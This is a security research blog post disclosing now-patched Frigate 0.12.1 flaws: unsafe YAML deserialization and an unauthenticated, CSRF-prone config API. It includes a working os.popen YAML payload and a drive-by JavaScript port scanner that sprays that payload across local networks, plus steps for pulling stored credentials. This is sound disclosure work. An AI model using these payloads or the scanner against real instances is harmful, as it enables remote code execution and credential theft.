At GitHub Security Lab, we are continuously analyzing open source projects in line with our goal of keeping the software ecosystem safe. Whether by manual review, multi-repository variant analysis, or internal automation, we focus on high-profile projects we all depend on and rely on.
Following on our Securing our home labs series, this time, we (Logan MacLaren, @maclarel, and Jorge Rosillo, @jorgectf) paired in our duty of reviewing some of our automation results (leveraging GitHub code scanning), when we came across an alert that would absorb us for a while. By the end of this post, you will be able to understand how to get remote code execution in a Frigate instance, even when the instance is not directly exposed to the internet.
Frigate is an open source network video recorder that can consume video streams from a wide variety of consumer security cameras. In addition to simply acting as a recorder for these streams, it can also perform local object detection.
Furthermore, Frigate offers deep integrations with Home Assistant, which we audited a few weeks ago. With that, and given the significant deployment base (more than 1.6 million downloads of Frigate container at the time of writing), this looked like a great project to dig deeper into as a continuation for our previous research.
Code scanning initially alerted us to several potential vulnerabilities, and the one that stood out the most was deserialization of user-controlled data, so we decided to dive into that one to start.
Please note that the code samples outlined below are based on Frigate 0.12.1 and all vulnerabilities outlined in this report have been patched as of the latest beta release (0.13.0 Beta 3).
yaml.load
(CVE-2023-45672)Frigate offers the ability to update its configuration in three waysโthrough a configuration file local to the system/container it runs on, through its UI, or through the /api/config/save
REST API endpoint. When updating the configuration through any of these means there will eventually be a call to load_config_with_no_duplicates
which is where this vulnerability existed.
Using the /api/config/save
endpoint as an entrypoint, input is initially accepted through http.py
:
@bp.route("/config/save", methods=["POST"])
def config_save():
save_option = request.args.get("save_option")
new_config = request.get_data().decode()
The user-provided input is then parsed and loaded by [load_config_with_no_duplicates](<https://github.com/blakeblackshear/frigate/blob/5658e5a4cc7376504af9de5e1eff178939a13e7f/frigate/config.py#L1244-L1244>)
:
@classmethod
def parse_raw(cls, raw_config):
config = load_config_with_no_duplicates(raw_config)
return cls.parse_obj(config)
However, load_config_with_no_duplicates
uses [yaml.loader.Loader](<https://github.com/blakeblackshear/frigate/blob/5658e5a4cc7376504af9de5e1eff178939a13e7f/frigate/util/builtin.py#L90>)
which can instantiate custom constructors. A provided payload will be executed directly:
PreserveDuplicatesLoader.add_constructor(
yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, map_constructor
)
return yaml.load(raw_config, PreserveDuplicatesLoader)
In this scenario providing a payload like the following (invoking os.popen
to run touch /tmp/pwned
) was sufficient to achieve remote code execution:
!!python/object/apply:os.popen
- touch /tmp/pwned
config_save
and config_set
request handlers (CVE-2023-45670)Even though we can get code execution on the host (potentially a container) running Frigate, most installations are only exposed in the user local network, so an attacker cannot interact directly with the instance. We wanted to find a way to get our payload to the target system without needing to have direct access. Some further review of the API led us to find two notable things:
As a simple proof of concept (PoC), we created a web page that will run a Javascript function targeted to a server under our control and drop in our own configuration (note the camera name of pwnd
):
const pwn = async () => {
const data = `mqtt:
host: mqtt
cameras:
pwnd:
ffmpeg:
inputs:
- path: /media/frigate/car-stopping.mp4
input_args: -re -stream_loop -1 -fflags +genpts
roles:
- detect
- rtmp
detect:
height: 1080
width: 1920
fps: 5`;
await fetch("http://:5000/api/config/save?save_option=saveonly", {
method: "POST",
mode: "no-cors",
body: data
});
}
pwn();
As we have a combination of an API endpoint that can update the server's configuration without authentication, is vulnerable to a "drive-by" as it lacks CSRF protection, and a vulnerable configuration parser we can quickly move toward 0-click RCE withlittle or no knowledge of the victim's network or Frigate configuration.
For the purposes of this PoC, we have Frigate 0.12.1 running at 10.0.0.2 on TCP 5000.
Using the following Javascript we can scan an arbitrary network space (for example, 10.0.0.1 through 10.0.0.4) to find a service accepting connections on TCP 5000. This will iterate over any IP in the range we provide in the script and scan the defined port range. If it finds a hit, it will run the pwn
function against it.
// Tested and confirmed functional using Chrome 118.0.5993.88 with Frigate 0.12.1.
const pwn = (host, port) => {
const data = `!!python/object/apply:os.popen
- touch /tmp/pwned`;
fetch("http://" + host + ":" + port + "/api/config/save?save_option=saveonly", {
method: "POST",
mode: "no-cors",
body: data
});
};
const thread = (host, start, stop, callback) => {
const loop = port => {
if (port {
callback(port);
loop(port + 1);
}).catch(err => {
loop(port + 1);
});
}
};
setTimeout(() => loop(start), 0);
};
const scanRange = (start, stop, thread_count) => {
const port_range = stop - start;
const thread_range = port_range / thread_count;
for (let n = 0; n < 5; n++) {
let host = "10.0.0." + n;
for (let i = 0; i {
pwn(host, port);
});
}
}
}
window.onload = () => {
scanRange(4998, 5002, 2);
};
This can, of course, be extended out to scan a larger IP range, multiple different IP ranges (for example, 192.168.0.0/24), different port ranges, etc. In short, the attacker does not need to know anything about the victim's network or the location of the Frigate serviceโif it's running on a predictable port a malicious request can easily be sent to it with no user involvement beyond accessing the malicious website. It is likely that this can be further extended to perform validation of the target prior to submitting a payload; however, the ability to "spray" a malicious payload in this fashion is sufficient for zero-knowledge exploitation without user interaction.
Credit to wybiral/localscan for the basis of the Javascript port scanner.
/config
APIThe /config
API has three main capabilities:
As Frigate, by default, has no authentication mechanism it's possible to arbitrarily pull the configuration of the target server by sending a GET
request to :/api/config/raw
. While this may not seem too interesting at first, this can be used to pull MQTT credentials, RTSP password(s), and local file paths that we can take advantage of for exfiltration.
The saveonly
option is useful if we wish to utilize the deserialization vulnerability; however, restart
can actually have the server running with a configuration under our control.
Combining these three capabilities with the CSRF vulnerability outlined above, it's possible to not only achieve RCE (the most interesting path), but also to have Frigate running a malicious config in a way that's largely invisible to the owner of the service.
In short, we can:
/config/raw
./config/save
's restart
argument./config/save
using the saveonly
argument.Frigate is a fantastic project, and it does what it aims to do very well, with significant customization options. Having said this, there remains considerable room for improvement with the out-of-the-box security configuration, so additional security protections are strongly recommended for deployments of this software.
At the time of writing the vulnerabilities outlined here have all been patched (>= 0.13.0 Beta 3) and the following GitHub Security Advisories and CVEs have been published:
We also published our advisory on the GitHub Security Lab page.
We encourage users of Frigate to update to the latest releases as soon as possible, and also you, fellow reader, to stay tuned for more blog posts in the Securing our home labs series!
The post Securing our home labs: Frigate code review appeared first on The GitHub Blog.